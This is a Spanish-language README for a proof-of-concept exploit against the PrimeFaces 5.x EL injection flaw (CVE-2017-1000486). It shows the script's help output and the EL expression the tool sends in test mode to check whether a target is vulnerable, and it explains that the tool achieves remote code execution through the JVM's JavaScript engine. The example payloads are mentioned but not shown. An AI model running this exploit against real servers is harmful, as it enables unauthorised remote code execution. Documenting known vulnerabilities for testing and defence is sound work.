
Exploit de prueba de concepto para inyección de EL en PrimeFaces 5.x (CVE-2017-1000486)
Explotación de prueba de concepto para la inyección EL de PrimeFaces 5.x (CVE-2017-1000486), una vulnerabilidad RCE que puede usarse para obtener ejecución remota de código en un objetivo.
Puede encontrar una excelente descripción de la vulnerabilidad en el blog de Minded Security.
El exploit proporciona una función de ayuda que imprime todos los parámetros importantes
./primefaces.py --help
PrimeFaces 5.x EL injection exploit (CVE-2017-1000486) by MOGWAI LABS
=====================================================================
usage: primefaces.py [-h] [-t] [-e EXTENSION] url [payload]
PrimeFaces 5.x EL injection exploit
positional arguments:
url The target URL (http/https)
payload File with the JavaScript (Rino/Nashorn) code to
execute or OS command
optional arguments:
-h, --help show this help message and exit
-t, --test Test mode (off by default)
-e EXTENSION, --extension EXTENSION
Extension of the target (xhtml, jsf)
El exploit ofrece un modo de prueba simple (parámetro -t) que se puede usar para verificar si un objetivo es realmente vulnerable. Esto funciona enviando la siguiente expresión EL al objetivo, que agregará un campo de encabezado adicional a la respuesta HTTP. Luego, el exploit comprueba el encabezado:
${facesContext.getExternalContext().setResponseHeader("MOGWAILABS","CHKCHK")}
La explotación real funciona invocando el intérprete de JavaScript que viene incluido con la máquina virtual Java. Esto permite ejecutar código Java arbitrario desde JavaScript.
El exploit proporciona dos payloads de ejemplo:
Tenga en cuenta que ninguno de estos ejemplos le proporcionará la salida del comando.